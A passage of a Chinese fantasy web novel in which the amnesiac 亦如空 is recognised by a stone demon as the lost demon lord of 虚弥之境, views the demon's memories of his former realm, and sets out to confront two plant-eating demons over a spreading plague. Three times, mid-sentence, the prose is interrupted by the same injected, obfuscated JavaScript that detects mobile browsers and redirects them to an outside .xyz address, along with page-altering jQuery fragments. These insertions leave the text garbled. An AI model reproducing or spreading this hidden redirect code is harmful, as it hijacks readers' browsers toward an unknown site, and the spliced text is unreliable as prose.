正要靠近,几个长着一只眼睛的“一眼石将”滚跳过来,试图挡住亦如空。 “就你们也想挡我?”亦如空忍不住轻笑,嘴角勾起,上去一脚一个,将它们踢到一边。 他几步上前,正要将昏迷之人扶起,却见何云迢忽然刷的一声挺身坐起。 亦如空险些被他撞上,后退一些,旋即道:“你醒了?正好,跟我走。” 何云迢却不为所动,亦如空仔细一看,发现他的状态有些奇怪,瞪着两眼,眼白上遍布通红的血丝,脸上神情扭曲,看亦如空的眼神像见到仇人一般,充满狠戾怨恨。 翘枝被他的表情吓了一跳,压低声音道:“何少爷这是怎么回事,被那些石头将脑子砸坏了?” 亦如空蹙起眉头,还没来得及说话,何云迢突然发出一阵怪叫嘶吼,咆哮着起身扑向他。 亦如空连忙飞身往后一掠,何云迢还想追来,亦如空踢起一块石头,一手握住,飞掷出去,击中何云迢的膝盖,一下将他打得跪倒在地。 这厢动静这般大,终于引起了众妖怪的注意,听见外面打斗声止,亦如空只得先退回暗处,暂且躲避。 红毛妖怪撞开石老儿,抽身过来查看,看见何云迢如此情状,忽地脸色一变,嚷叫起来:“奶奶的,都别抢别打了,这肉毁了,这家伙已经被那东西寄生,吃不了了!” “什么?!” 绿眼妖怪闻言,气愤之下,又朝石老儿的方向打了几掌,掀翻几根石柱,叫骂道:“该死的,白费力气,又被那玩意抢了先!这鬼地方真是一天也待不得了!” 亦如空在暗处听着,这无名之地,竟连妖怪都觉得是鬼地方……他们说的那东西,是什么?有什么寄生了何云迢? 两边停了战,石老儿也过来查看一眼,无奈道:“可惜,可惜,大好的身躯,又浪费了,唉!” 绿眼妖怪道:“你这老头几时开了荤,竟也想吃人肉?” 石老儿道:“老夫可不像你们,就知道吃,我要这小子另有妙用,但现在说这些还有什么用,他已经废了,三日之后便会化作一滩血水,是吃也吃不得,用也用不上了。” 说着,他招呼自己的石头手下们道:“小的们过来,把这家伙丢到峡谷里去,不要留在这,污了我的洞府。” 何云迢双目赤红,仍在挣扎咆哮,看来攻击性十足,石老儿见状,直接扔去一块石头,将他再度砸晕。 听完他们的对话,亦如空已是面色凝重,正思索间,身后却陡然传来声音:“咦?这里还有一个……” 竟是那红毛妖怪,已不知不觉闪现至他身后。 亦如空毫不犹豫,当即回身甩手,带着忘尘椎的手腕砰一声打在那妖怪脸上,虽未使灵力,竟也成功将对方打退几步。 他这一招完全出乎那妖怪意料,被打退后,呆捂着伤处发愣。 绿眼妖怪和石老儿也是各自惊讶,看样子根本没想到,还有另一人躲藏在此地,为何竟都没有闻到另一股人气? “你小子倒是挺会藏,”石老儿嘿嘿一笑,“两位,他自己送到我府中来,那就是我的,二位,不会又要跟我抢吧?” 红毛怪摸着脸上的烫疤,打量着亦如空。 亦如空默默去探袖中自己所画的镇妖符,想着若是这妖怪要攻过来,便正好用上这符条。 谁知红毛妖怪看着看着,突然露出个惊惧无比的表情,招呼那绿眼怪,二怪携拉着,一齐飞身朝外逃去。 绿眼怪尚不明所以,还不想就此离开,挣扎几下,红毛妖怪却悚然道:“赶紧走,那人身上,有那东西的气息!” “咦?”石老儿原本还想大战一场,没想到两个妖怪竟如此痛快地离开,“怎么突然这般识相了?说走就走?” 石老儿转向亦如空,满意道:“正好,你归我了,让我先看看,你被污染了没有……” 看那小老头笑嘻嘻朝自己逼近,亦如空倒是一脸镇定,问道:“你们方才说的那东西,是什么?竟会污染寄生活物,将其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573854|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变作血水?” 石老儿有些意外:“你还挺有胆量,竟还有闲心问这问那,别问了,这都不是你该操心的事。” 亦如空面无表情道:“既然你不愿回答,那我走了。” 他说完,竟真的转身就要走。 石老儿一愣:“你以为我这里想来就来想走就走,我看起来难道很面善吗?让你以为我很好说话?” 亦如空跟没听见似的,又转回身来,指着昏迷的何云迢:“对了,这人反正你也不要了,正好给我带走。” 说着,他已毫不客气地过去,踢开几个一眼石头,将何云迢提起来,扛在肩上。 石老儿见他犹如回家一般自在,吹胡子瞪眼道:“好小子,气煞老夫也,石将军,给我上,将这白面小儿给我砸得鼻青脸肿,叫他亲娘也认不出他来!” 先前那眼歪嘴斜的石头人闻言,立刻朝着亦如空射出几块飞石,全被亦如空折身躲过。 石老儿一挑眉毛:“哟,还是个有身手的,让我来!” 说着,他盘掌运气,一堆石块被他吸入空中,凝成石球,朝着亦如空飞速撞去。 亦如空闪身避让,对着石老儿和石将军掷出镇妖符,结果全无效果,果然对石妖无效,他心下了然,不再试图攻击,依旧是扛着人往通道外跑。 石老儿紧追不舍,石将军头顶一张镇妖符,跌跌撞撞跟在旁边,为石老儿叫好助威:“大王好厉害的招式,好高明的法术!” “小儿扔石子罢了,砸也砸不中,高明在哪里。”亦如空一边避过攻击,一边淡淡嘲讽。 石老儿见他身法灵活,屡击不中,气得哇哇叫:“小子真是不知死活,本老儿这就让你知道知道,什么叫无处可逃!” 他说完,直接调转方向,不再沿通道追赶亦如空,而是径直钻进了石壁之中。 眼见出口就在前方,亦如空懒得管他出什么怪招,只想快些出去,刚出洞口,突然一阵山摇地晃,耳边传来轰隆巨响,整座石山竟像活过来一般,震动起来。 这下就不是小打小闹了。 看着一座丈高的石头山从面前升起,翘枝着慌,亦如空表情也严肃起来:“嗯,这就有点意思了。” “师父,别有意思了,这老头竟然能搬动整座山,再不赶紧跑路,咱们就要被压死了!” 石老儿用犹如山崩般的巨声叫喊道:“小子,哪里逃!” 石山挪动,化作人形站起,那石老儿竟转眼变成了石巨人,轰隆靠近。 亦如空无处可逃,见石老儿冲着自己而来,只能先把何云迢和翘枝放下,自己闪身转向另一边。 刚掠出几步,石老儿的巨掌已到了跟前,一挥一展一握,竟将亦如空直接攥进了掌中。 在他握紧手掌之前,亦如空挣出一条胳臂,试图用腕上的忘尘椎去烫那巨手。 石老儿满不在乎,他皱巴巴的皮肤眼下已是坚硬粗糙的石头外壳,忘尘椎没有灵力辅助,并不能将其灼伤熔化。 巨掌翻转,用力将亦如空砸向地面,亦如空凌空翻身,半跪落地,减弱部分冲击,刚刚勉强站起身来,石老儿不容他喘息,又用他那遮天蔽日的巨石大掌拍下来,将亦如空仰面压倒在掌下。 巨石大掌的重量冲击着实不轻,若是一般人,这一掌下来,恐怕已经口吐鲜血,命去了半条。 亦如空强撑住力气,正想着要不要不管后果,再强行催动一次灵力,就发现石老儿突然将巨掌一松,卸了大半力气。 那丈高的石妖陡然惊呼一声,往地上一趴,将脑袋山摇地动地压低过来,凑近细看亦如空的脸,斗大两个膝盖砸得满地尘土飞扬。 “难道、难道……”尘埃落定后,石老儿已是张口结舌,惊诧不已。 亦如空正莫名,便看见石老儿那张粗糙巨脸一皱,巨嘴一张,竟对着他嚎啕痛哭起来。 这一变化,不止把亦如空和翘枝看傻了,周围那些跟来的石头部下们也是莫名其妙,面面相觑,一堆眼睛你看我我看你,万分费解。 石老儿一边嚎啕,一边从嘴里眼里喷出些碎石颗粒,稀稀拉拉砸落在亦如空脸上身上。 那些石头颗粒想必是他的眼泪口水,亦如空侧头躲闪,道:“你这石妖疯了,莫名其妙哭什么,收声!” 石老儿闻言如梦初醒,骤然缩小了身形,那些扩大身形的部分都变成石块掉落一地。 石老儿迫不及待冲出石堆,抱住正想跑路的亦如空的大腿,继续嚎啕。 亦如空甩脱不得,见对方此刻已褪去巨石身形,便想用箍着忘尘椎的手腕去砸这小老头的后颈,势必一招劈碎他后脑。 结果手还未落下,石老儿已从他腿上滑落在地,对着他哐哐跪拜起来。 老头儿一边拜,还一边哭号,委实犹如号丧一般。 “大王,您这是……”石将军犹豫道,“大王,您别这样,小的们很没面子。” 石将军一边劝说,一边想要上前去扶石老儿,然而对不准方向,跌跌撞撞走远去了。 石老儿不管这些,仍是哭。 亦如空无语道:“再说一遍,收声,否则我动手了。” 被亦如空呵斥着,石老儿好不容易止住嚎哭声。 他抹抹眼泪,对着亦如空抢头一拜,抽泣道:“魔君,我的魔君啊,老儿没想到,今生还能遇见你!” 亦如空深深蹙起眉头:“你叫我什么?” 28.记事珠 “你叫我什么?” “魔君……” 亦如空还未回话,翘枝已蹦跳到他身前,对着石老儿道:“你认错人了吧?我师父可是仙人,你看看他这一身的仙气,跟魔有半点关系吗?” 石老儿道:“哪来的小耗子精,不要瞎说话,不是你插嘴的时候!” 亦如空立在青雾中,颊边染血,衣袂沾尘,神色却丝毫不见狼狈。他看着石老儿,道:“你先站起来。” 石老儿连忙爬起。 又听亦如空道:“你知道我是谁吗?” 石老儿先前那副不正经的样子此刻已全数消散,认真道:“数万年前,天地滋养一副无魂无魄的灵兽躯壳,不知哪日,涌入一点魔息,苏醒之后,便是世间唯一一只应空兽,那魔息在灵兽躯体内聚气炼化,将诞生之地渐渐拓为一方独立于人间天上之外的境界,魔息灵体于是成为那片境界的魔王,那便是……” 说到这里,他住了嘴,看着亦如空。 亦如空眉心渐紧,他这番话,像是把世人对应空的传说复述了一遍,不过仙灵变成了魔息,神明反成了魔王。 但是——自己一提及身份,他竟如此直接地将应空摆出来,这又绝不是硬猜能猜中的。 石老儿热泪盈眶,言辞恳切,说出来的话却完全颠覆认知,莫说是记忆不全的亦如空不敢信他,连翘枝都听出他话里与事实相悖之处。 “石妖老头张嘴就来,听你胡说的,我师父都成应空了?再说了,那可是开天神兽,世人都拜之为守护神灵的,怎么在你嘴里,就成了妖啊魔啊的了?” 石老儿并不理会这小妖,仍是向着亦如空,道:“当年魔君所处之境彻底破灭,老儿我原以为,我是唯一幸存,稀里糊涂落进这人间地界,困守此地,没想到……真是没想到……” 亦如空看着他:“我不记得你。” “我这副样子,本就不曾入过魔君的眼,”石老儿叹道:“但我却见过魔君,不知魔君这千百年来经历了什么,这通身的气质是有变化,但样子绝对不错。” 翘枝见他头头是道,亦如空也听得认真,不由心中震乱道:“或许,或许只是长相相似。” 石老儿摇头:“世间几人能长出这样一副灵骨?更何况,还有这……” 他伸出一只枯老的手掌,那掌心之中,用灵力掬着一滴血,一滴方才亦如空被巨石手掌拍倒时,碎石擦破了脸颊,自那伤口溢出的鲜血。 石老儿看着那滴血,一副又悔又痛的表情:“诞生自你境界里的众生万物,谁会感应不到你的血液呢?我方才竟然、竟然……” 他这副真情实感的样子落在亦如空眼中,竟完全挑不出问题,看不出任何一丝作伪之处。但他所言,实在离奇,今日所遇,实在凑巧,怎能不叫人心中混乱。 亦如空想了想,道:“你说的‘境界’,可是虚弥之境。” “虚弥之境?”石老儿一愣,“魔君是说,弥天妖域?” 这名字让亦如空一怔,眉心一紧,只觉陌生无比。 石老儿指指那些已经傻眼的石头部下们,道:“魔君你看它们,不觉得眼熟么?在弥天妖域之中,你一定曾见过这样的石头。” 他所言不假,在亦如空对虚弥之境尚存的记忆中,还记得那些满地乱跑的石头,只是他从未想过,还会在人间见到,是以只觉是相似之物,从未将二者划过等号。 看亦如空表情似乎已有松动,石老儿心中一松,叹了一口气。 “魔君刚才对我们扔出的,是凡间的镇妖符吧?若我们是此间的妖怪,那符定能制住我们,但我们不是,我们的力量并非妖灵,而是来自域外,是以我们同魔君一样,都不会被这镇妖符影响。” 亦如空默默听着,他心中明白,这石老儿没有理由哄骗自己,然而,他所说的一切,与自己苏醒后在世间所听所见的种种,全然不同,甚至跟自己记忆里尚存的部分,也略有偏差。 “不瞒你说,”亦如空道,“我的确忘记了很多东西,但并非全部,你所言,与我记忆中尚存的部分,似有出入。” 他顿了顿,接着道:“首先,我从不记得,有谁会像你这样称呼我。” 听见亦如空如是说,石老儿一拍大腿,道:“口说无凭,关于旧日的记忆,我已用记事珠留存着,请魔君随老儿来,一阅便知。” 翘枝已经全然听得懵了,犹豫着去拉亦如空的衣角,嗫喏道:“师父……” 这一刻,翘枝突然意识到,他确实不了解面前这个人。 他的来历成谜,意图成谜,最初,小妖只是想在绝境中抓住一个对自己没有恶意的强者,向之祈求庇护,这才厚着脸皮,叫了他这么久的师父。 现在忽而惊觉,原来他是忘记了,失忆了,他身上那种混沌的“善意”,好像大多数时候只是出自于迷茫。 他究竟是谁?神仙?魔王?若是他想起一切,将会如何? 翘枝突然感到害怕,亦如空却只是弯下腰来,将松鼠拾起,放在肩头。 小妖心慌,去看他的眼睛。 那双眼眸中倒映着周围不散的青雾,还有那些纷乱的碎石,或许,他此刻的心绪亦是如此。 “我忘记了来路和去处,不知自己算什么存在,人、神、妖魔,究竟我的立足之处为何?”亦如空低声道,也不知是在回应翘枝的忧心,还是在自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580894|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言自语,“我必须找回记忆,知道自己因何而存在,如何存在。” 说完,他向着石老儿道:“走吧,带路。” 石老儿应下,回身几步,看见远方倒地不醒的何云迢,道:“那这个人……” 亦如空道:“带上他,这个人,我要救。” 转眼第二次走进这石妖洞府,却已不是上一次的偷偷摸摸,石老儿在前面开道,他一挥袖,那些被掀翻砸落的巨石便如轻盈的气泡一般飞起,重新回到原位,为他们拓出一条宽阔的道路。 石将军此刻也已回来,翻着面地用它那两个眼睛轮番去瞧亦如空。 那些石头部下们恭恭敬敬抬着何云迢,整整齐齐跟在后头,各个噤若寒蝉,它们意识到,大王经常念叨的那位本领通天的魔界君王,此刻就在它们面前。 石老儿看看自己粗糙的大殿,道:“老儿不拘一格惯了,这地方简陋,魔君见谅。” 亦如空道:“这不要紧,只是,你不要再这般称呼我,我听着不习惯。” 说完,他想了想,又接道:“那片地方,你还是称它为虚弥之境吧,相比之下,我更喜欢这个名字。” 石老儿连声答应,只让众部下和翘枝都等在外殿,自己带着亦如空来到后殿之中。 这里照样没有什么华丽陈设,除了洞顶上无数发光的夜明珠外,便只有一些由石头粗糙打造的桌凳摆设。 石老儿捏了一套手诀,朝墙一指,石殿最里的那块墙面便如同雪化一般,熔化出一块破口,露出其中隐藏的盒子。 那木盒可算是这石头洞府中唯一一个做工精细的存在了,石老儿小心翼翼将之取出,打开后,里面果然是一枚莹白的记事珠。 “我见过这珠子。”亦如空道。 先前那名为柳玉京的蛇妖向他讨债时,便用过这样东西。 石老儿道:“识海记忆只能自己知晓,唯有这珠子,能记录下识海中的记忆片段,分享给旁人,这些记忆只能用元神投射,做不得假。” 亦如空伸手,将那枚白珠子拈起:“这段记忆,很长么?” 石老儿道:“无论其中记忆多长,你感知它们,只在一息之间。” 亦如空看他一眼:“你怎么会想着如此存下这些记忆?” “老儿害怕,怕我是天地间唯一一个记得虚弥之境的人,等我老糊涂了,岂不是再也无人知晓那片存在。”石老儿苦笑道,“我总觉得,应该留着,或许有朝一日,能派上用场,看,今日不就用上了?” 亦如空看着石老儿,沉默良久,抬手将珠子放在眉心,用拇指碾碎。 石老儿的记忆,转瞬便在他脑中铺陈开来—— 29.君王 那是一处宫殿。 不似人间皇宫的繁华,也不似这石妖洞府的粗陋。 它精巧、迷幻、不合常理。 不见屋瓦梁柱,也无砖石堆砌,藤蔓编织成椅,花叶飘落成觞,灵气馥郁到几乎凝成实质,仿佛每一滴露水都潜藏灵能。 宫殿地处山腰,那山也是奇异,不见得高到哪里去,从头到脚却有着全然不同的风景——山脚谷底是潺潺清溪,野花芳草,山顶已是巍巍雪峰,冰川皑皑。 就在这春水与冰川之间的宫殿中,便住着这个世界的王。 彼时的石老儿,只是一粒小小的石子,当然不是普通的石子,是虚弥之境的石子。 这小石子从很远的地方跋涉而来,越过原野、高山、峡谷,花费数年,才来到这片灵气汇聚的峰峦谷地,只为了看一眼传说中的魔君,它们这个世界的君王。 一切都缘于好几个天年之前。 听闻那时魔君心血来潮,曾去过小石子所在的无垠原野,草原上的灵兽和石头们都见过他,有幸运的石头,还被魔君捏在手中,拿来玩过抓石子儿。 当然,其中也有不幸的——听说魔君手劲奇大无比,不知轻重,常常一掌便捏碎许多倒霉蛋。 不过,这不重要,只要能接触魔君,对于原野上的石头众生们而言,就是天大的荣耀。 可这样难得的机遇,小石子却因为钻进地底贪睡,而错过了。 得到过荣耀恩泽的石头们整日炫耀,称自己被魔君手掌摸过的石头外皮现在每日都有灵力涌入,说不定千八百个天年后,就能像魔君一样,幻化出一副完美的身躯,从此纵横妖域和人间。 更可恨的是,它们还说,魔君不会再回到无垠原野了,它们这位君王就是那般任性,从不去一个地方第二次。 这些话听得小石子如鲠在喉,直到有一天,它再也受不了,打定主意,准备自己前往魔君的宫殿。 这在原野上是个天大的消息,无垠原野上的石头们从来没有离开过这片土地,小石子无所谓,它要做第一个。 抵达宫殿的时候,小石子都快要被风化磨小一圈,好在被宫殿外花草上的露水一沾,瞬间便疲乏尽消,精神百倍。 它蹚过山谷里的清溪,沿着云雾的阶梯,一路抵达山腰上的宫殿。 然而,宫殿空空如也,小石子没能见到它心心念念的魔君。 它又去山顶,走遍了落雪的亭廊,依旧没有魔君的踪影。 小石子只能回到山腰的宫殿等待,宫殿里还是空空荡荡,却比先前多了一样东西,是一部悬在空中的白玉书简,正兀自莹莹发亮。 小石子无人可问,只能问那白玉书简,这宫殿里的魔君去了何处,你又是什么。 白玉书简也不知是不是闲得无聊,竟和小石子说了几句。 它说它是白玉天书,来自这个境界之外的地方,代表天道的旨意。 小石子不明白,毕竟在它们的世界里,魔君就是天道,魔君的话才称得上是旨意。 白玉天书笑它无知,说这地方还真是莽荒至极,除了一个应空,竟无其他生灵开智,白费了此间馥郁充沛的灵力。幸好天道开明,给此间一个机会,只要应空做完该做的事,这整个境界中的生灵都可以同他一道,飞升上境。 小石子不太关心这些,只想知道魔君何时回来。 白玉天书告诉它,等着。 一直等到十日之后,魔君终于回来了。 他混身是伤,皮肉上焦痕遍布,什么话也不说,只倒在藤蔓圈成的榻上睡觉,想必是因为疼痛,他皱眉蜷缩着,根本不像这个世界呼风唤雨的魔王,看着竟有些落拓可怜。 这就是魔君吗?小石子千里迢迢而来,景仰期盼已久,此刻却有些失望。 好在不消多久,宫殿内外的灵力渐渐朝着藤榻王座上汇聚,抹平治愈了那人满身满脸的创口,这下,那副容光焕发、气宇轩昂的模样,就像是小石子想象中的魔君了。 石子趁着魔君还未苏醒,蹦跳到榻上,钻进他的掌心。 原野上的兄弟们没有说假话,魔君的手掌果然很温暖,果然灵力充沛无比。 小石子正沉浸在幸福中,突然周身一晃,竟是魔君已苏醒过来。 魔君动动手指,将那枚鸟蛋大小的石子捏在两指间,举到眼前。 小石子今生第一次见到这样的存在,在它的独眼中,魔君的眼睛就像是一对金色的漩涡,让它险些晕厥。 正战栗间,却看见魔君展颜一笑,道:“石头,我见过你这种石头,你们跟人间的石头,完全不一样。” 灵力在周围冲荡,小石子晕眩道:“魔君……” 魔君道:“石头,你知道吗?今日,我有名字了,是一个凡人为我起的,她读一种名为佛经的书,从经文里取了三个字,当作我的名字。” 他像是叹息一般说道:“我与她一起生活了数十年,从她生,到她死,乃至化作白骨飞灰,如此漫长的时间,在我们这里,竟然只是露水滴下的一瞬之短。” 魔君的样子似乎有些落寞,说的话也是深奥难懂,全然不像原野上石头们描述的那样神采飞扬,嚣张跋扈。 不过小石子彼时顾不上在乎这些,它只觉晕晕乎乎——自己现在不但被魔君捏在手中,而且魔君还在对它说话,对它微笑。 这若是回到无垠原野上,便有了一辈子也吹不完的牛,不知道得被那些弟兄们羡慕成什么样,这一趟,总归不虚此行! 正幻想着,魔君放开石子,坐起身来,对那悬在空中一直沉默的白玉天书道:“这次轮回,结束了,结果呢?” 白玉天书在空中缓缓展开,一行行闪金的文字显现其上。 小石子看不懂那种文字,或许魔君能看懂,因为随着那些字的显现,魔君的面色已越来越凝重。 白玉天书重新合起,冷冰冰的声音传来:“你对凡人的看法终究不对,而且,总是插手是非,出手不计后果,若是如此,不可成神。” 魔君垂下他那金色的眼眸,说道:“我若不杀,人便杀我,人间的种种善恶,我已经见识得够了。” “不够,你还是不明白神的含义,插手因果,便是大错。” “我本不想成神。”魔君闭起眼睛,声音中似有无奈。 “但你天生拥有这神能之力,这便天道予你的使命。” “我若不从这天道呢?” “那么,”白玉天书冷冷宣判,“天道自有办法。” 关于魔君的记忆戛然而止,后面很长一段时间,都是小石子在宫殿山谷间穿行游荡的记忆,魔君准许他留在这里,尽情沐浴灵力,或者说,魔君压根不在乎,他总有事情要忙,常常不见踪影。 这也与旁人所说的不同,小石子心想。从前大家都说,魔君是整个弥天妖域里最闲的一个,是真正的混世魔王,只知四处疯玩,从来不知愁苦,此间生灵都只是他的玩具,连那个它们无法窥探的奇妙人间,也已是他的修魔场、享乐地。 后来,小石子在魔君那里修出了更大的身形,也有了更清晰敏锐的思维,终于能记清楚更多事,能跋涉更远的路,终于有一天,它准备告别魔君,回到无垠原野。 而那一日,正万道天雷降临的那一天…… 那种巨响震动天地,天雷如细丝、如瀑布,如骤雨万缕同降,一霎间布满整个视野,最后铺成满眼的白,刺目的白。 白光所过之处,一切皆尽粉碎。 那些崩碎的画面只有一瞬,因为小石子已在天劫降下的那一刻失去了意识,它好不容易修炼出的身躯,被一息劈碎,只剩一点微小的石核,坠入了人间…… 记忆尽入脑海,亦如空翻阅过后,缓缓睁开双眼,涣散的视线重新聚焦。 石老儿小心翼翼地看着他盘坐的背影,不敢靠得太近,样子竟有些拘谨,小心道:“你……都看到了么?……” “嗯。”亦如空抬手,擦去额上记事珠留下的印记,声音似乎没什么波澜,“我倒从来没有以一颗石头的视野感知过外界,倒是新奇。” 石老儿一愣,亦如空这淡然的反应,委实出乎他的意料。 “而且……”亦如空又轻声道,“我也从来没有,以虚弥之境里一粒石子的眼光,看过我自己。” 石老儿睁大了两眼,肩膀一颤,嘴唇翕动,差点忍不住,又要喊出那个称呼。 亦如空面上淡淡,心中却并非毫无触动。 石老儿记忆里的那个“魔君”,的确是他的样子,那处宫殿,也的确是他的住处。但虚弥之境里众生对他的认知,他对自己身份的判断,竟不知何时,已被全数抹去,想来都已是识海中被锁在黑光里的一部分。 仿佛天道并不想让他记得一丝关于妖魔的记忆,天道要他生来就是祥瑞,死后就是神明。 可天道为什么又要给他死而复生的机会? 若说往事已矣,便不该给他重来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587892|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的机会,因为他一定会去争个明白,丢失的,便去寻回,破裂的,就去弥合,磨灭的,那就重新刻上。 亦如空站起身来。 石老儿怔怔看他:“魔……” “也亏得你能认出我,”亦如空回身,转过视线,竟笑了笑,“你记忆里那副样子,与如今的我,可是大不相同。” 石老儿回神,讷讷一笑:“老实说,其实,主要还是靠那滴血……老儿我老眼昏花,一开始,着实没有认出来。” 亦如空淡声道:“看来你出手刚猛,将我打出血来,倒是做对了。” 石老儿一顿,又是内疚,又是羞愧,讪讪道:“也真是世事无常,从前哪敢想会发生这等事,如今,真是天地倒转……” “现在我力量全失,的确已不如你。”亦如空道。 “不会的!”石老儿激动道,“据我所知,应空躯壳所炼法宝,而今散落人间,若是一一寻回,你必定能恢复灵力,甚至,重塑虚弥之境!” 亦如空眼神一动:“你,竟知道这些?” 石老儿道:“不错,这里的确是片能进不能出的诡地,我曾探知过边界,从此地离开那边界几里外,便会身死灵消,幸而我当时反应迅速,才逃过一劫,我虽被困此地,但多年来,一直在想办法探知外界的讯息。” “最开始,还有些修士会主动来到这里,从他们那,我知道了人间不少事情,后来,入者皆死的消息传开,无人敢再来此地,老儿便想了个办法,那便是将一丝元神寄托在某个活物身上,让他离开这里,去替我探知外界。” 亦如空明白了:“所以,你抓那个与我同来的凡人,也是为此。” “不错,”石老儿点头,“如今此地外来活物越来越少,偶有鸟群飞落,但作用不大,凡人离开此地,尚且能坚持几日才死,鸟兽之类,可能几个时辰便会烟消云散。” 亦如空眸光稍暗:“误入此地,竟只有死之一路?” 石老儿叹道:“听说外面称呼此处为走不出的死地,这半分不假,我努力多年,毫无作用,不过,如今你来了,说不定,而今便是破局之时。” 亦如空思忖片刻,道:“我现下倒确有些想做的事,你可愿帮我?” “那是自然!”石老儿立刻道,“我这洞府中的石将们,都将为你差遣。” “……它们?” 看亦如空一脸的不甚认可,石老儿解释道:“别看它们有些笨头笨脑,在这随时可能感染疫病的诡异之地,只有它们最结实耐用,我散发灵力养着这么多小石妖,必然也不是白养的。” “疫病……”亦如空捕捉到这两个字,若有所思,“就是你们先前所说的,能将活物变作血水的传染之害?” “正是,这疫病不分是人是妖,还是飞禽走兽,染上之后,就会变得性情暴戾,攻击性极强,身体渐渐散发腐臭之气,三日之后便成一滩血水,进入此地界的活人走兽,被妖怪吃掉的在少数,被这疫病毁蚀的,才是大多数。” 石老儿顿了顿,道:“直到今日,染上疫病者,还没有能逃过一劫的,只有我们这些顽石之躯,才得以免受其害。” 亦如空听完,忽然想到什么:“那先前来闹事的两个妖怪呢,他们也是血肉之躯,为何,却不曾感染那疫病?” 石老儿道:“这……我并未想过,或许,是他们格外小心一些。” “那疫病,是如何传染的?” “说不明白,”石老儿道,“据我观察,或许是因为接触了其他疫病尸体腐化的尸液,又或许,还有其他途径。” 亦如空眸光微动,道:“这地方荒芜,灵气稀薄,你恐怕是因为有从虚弥之境带来的域外灵力,未被感染,还有了如今的修为,但另外两个妖怪……我想,其中必有缘由。” 石老儿一听,思索道:“这么说来,也是奇怪,他们两个原先只是灵力低微的小妖,跟外头那只小老鼠差不多,不知哪日找到了一处灵宝洞府,当日好一阵灵光大作,自那以后,二妖便修为大涨,不过嘛,最多也就到现在这个程度,毕竟这地方就这么贫瘠。” 亦如空道:“这恶地,可不像是能有什么天然灵宝洞府的样子。” 石老儿一愣:“难道说,他们那洞府,有古怪?” “有没有,得探过才知。” 石老儿两眼放光:“我们怎么干?魔君有何指示?” 亦如空轻轻一笑,道:“明日一早,砸场子去。” 30.先礼后兵 这座山峰位于无名之地西北面,样子与别处格外不同。 在这死地之内,其他地方俱是岩石裸露,林木枯萎,毫无生气可言,唯独这座山峰,竟是一片草木繁盛、灵气汇聚的景象。 就在这山峰腹地,有一处长满奇花异草的妖怪洞府,洞前空地上,绿眼妖怪徒幽正蹲在草丛里,一边用爪子薅着草叶往嘴里塞,一边抱怨不停。 “到底什么时候才能离开这鬼地方……这吃糠咽菜的日子,老子真是受够了!” 红毛妖赤广吞下一颗灵芝,道:“熬着吧,赶紧使劲吃你的草,多吃点,灵力积少成多。” 徒幽狠狠嚼草:“我本是吃肉的!吃草不消化,这里头就算灵力再多,能吸收多少?奶奶的,怎么就这么倒霉,沦落至此。” 赤广道:“知足吧,至少还有这块宝地护着咱的命,想想以前,这地界上多少妖灵,现在渣都不剩了……咱再吃上一阵灵草,提升提升修为,到时候破解那块鳞甲,将里头那无上灵力给吸了,一定能冲出禁制,离开这鬼地方。” 徒幽叹息:“也不知还要多久,老子吃草吃得都两眼发绿了。” 赤广骂他:“你他娘的,你那俩玩意儿不从小就是绿的吗。” 两个妖怪就这般,一边蹲在草丛里吃草,一边扯闲斗嘴。 正其乐融融用饭,却突然来了一个不速之客—— “两位,这些灵草是难得的好东西,不过需要讲究搭配得当才行,像你们这样胡乱生嚼猛吞,效用有限,何不分门别类,拿来炼制丹药,事半功倍。” “谁?!” “谁在说话!” 低沉平淡的声音传来,将两个埋头吃草的妖怪吓了一跳,忙翻身而起,握出兵刃,四处张望。 只见远处高高的蓑草丛中,缓缓走出来一个人。 那人身量修长,衣裳似有脏污残破,脸上一道破口血痕,目光却好似天星,明亮无比。 眼下,灵草间的灵光点点被他步伐扰动,正纷纷环在他周身。 他伸出一只手,轻轻一挥,将那些挡在眼前的光点驱散。 赤广这才看清那人的样子,一惊道:“是你?” 这不是昨夜在石老儿府中见过的那个人吗?那个一身疫病味的人! 赤广徒幽对视一眼,心中疑惑。 赤广冲着来人喊道:“竟是你这个没人味儿的小子,老子昨日看你肉不好吃,特地放你一马,你竟然敢自己找上门来?” “我只是看你们吃草吃得辛苦,过来好心提醒罢了。” 亦如空看看两妖手中的刀剑,面色不改,甚至还有淡淡的笑意,仿佛真是来好心为他们二妖传授制丹聚灵之法的。 他也不管两妖剑拔弩张的架势,左右瞧了瞧,上前几步,随手摘了几朵花几片叶,又从地上捻起一撮黑土。 接着,他手指用力,碾碎那富含灵气的花叶,就着汁液捏吧捏吧,用这些东西团出个丸子。 他将那丸子朝两妖弹去,赤广一伸手,接在掌中,摊开一看。 